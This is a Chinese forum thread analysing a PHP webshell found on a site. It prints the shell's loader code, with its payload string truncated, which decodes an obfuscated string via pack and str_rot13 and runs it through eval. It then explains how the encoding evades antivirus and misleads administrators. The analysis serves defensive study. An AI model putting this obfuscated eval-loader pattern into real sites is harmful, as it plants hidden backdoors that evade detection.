请选择 进入手机版|继续访问电脑版
返回列表 发新帖

PHP 恶意程序 发现后门(Webshell)文件

[复制链接]
发表于 2020-8-18 10:16:05 | 显示全部楼层 | 阅读模式
PHP 恶意程序 发现后门(Webshell)文件
Web 恶意程序。
大体看一下这个恶意程序的长相,大体代码如下:
  1. <?php
  2. $password='1';
  3. $shellname='BY:DanDan';
  4. $myurl='http://www.baidu.com';
  5. error_reporting(E_ERROR | E_PARSE);@set_time_limit(0);
  6. ob_start();
  7. header("content-Type: text/html; charset=gb2312");
  8. $str = "6s625s737461727428293o0q0n64";
  9. $dir = pack("H*",str_rot13($str));
  10. eval($dir);
  11. ?>
复制代码
$str后面内容非常长的一串字符串,已经经过转译过了的代码中的 $str 变量的值没有给全,测试了一下,在运行时我把最后一行的 eval 修改为 print,在命令行下运行


还有没大家发现的恶意程序 的样式, 可以分享下,,,,,,,,





发表于 2020-8-18 10:19:39 | 显示全部楼层
在 $str 变量中保存的本身就是被编码过的代码,而使用 pack 和 str_rot13 则可以还原为原来的 PHP 代码,并通过 eval 函数执行原来的 PHP 代码。

简单分析
这个 Web 恶意程序本身 $str 变量中保存的内容特别的多,其实它是一个功能很强大的 Web 恶意程序。为什么需要编码呢?咱们一步一步的说。

想要查看编码后的代码,需要把 eval 函数修改为 print 函数。但是,直接修改 eval 函数为 print 函数来查看编码前的代码是很不方便的,因为会滚屏。那么,我把 eval 函数换成了 file_put_contents 函数,也就是把解码后的代码直接写入到文件中。这样查看就会很方便了。
当我将 eval 函数修改为 file_put_contents 函数后,在命令行下运行这个 PHP 恶意程序,在生成文件的时候,我系统的杀毒软件给出了警告,并且生成的文件消失了。也就是说生成的文件被杀毒软件查杀掉了。

到这里,Web 恶意程序编码的第一个原因已经了解了,也就是说这个 Web 恶意程序如果不编码是会被杀毒软件查杀的,而进行编码后,就躲避了杀毒软件的查杀,因为文件被加载的时候,Web 恶意代码没有被还原,所以绕过了杀毒软件的查杀,而解码后通过 eval 函数直接运行是不会生成文件的,那么相当于直接在内存中执行了。

那么,第二个原因呢?其实第二个原因我觉得就比较简单了。迷惑管理员,当管理员看到 $str 变量中有这么一堆数字时可能是没有心情去研究这是干什么的。其实拿到这样的代码时,很多 PHP 程序员也不一定愿意去研究的,毕竟程序员的主要工作是完成需求相关的代码,而不是研究一个对自己用处不是特别大的代码。

把代码进行编码
既然是分析,那么就要研究一下他是如何把 PHP 代码编码为 $str 变量中那样的字符串的。
回复

使用道具 举报

发表回复

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表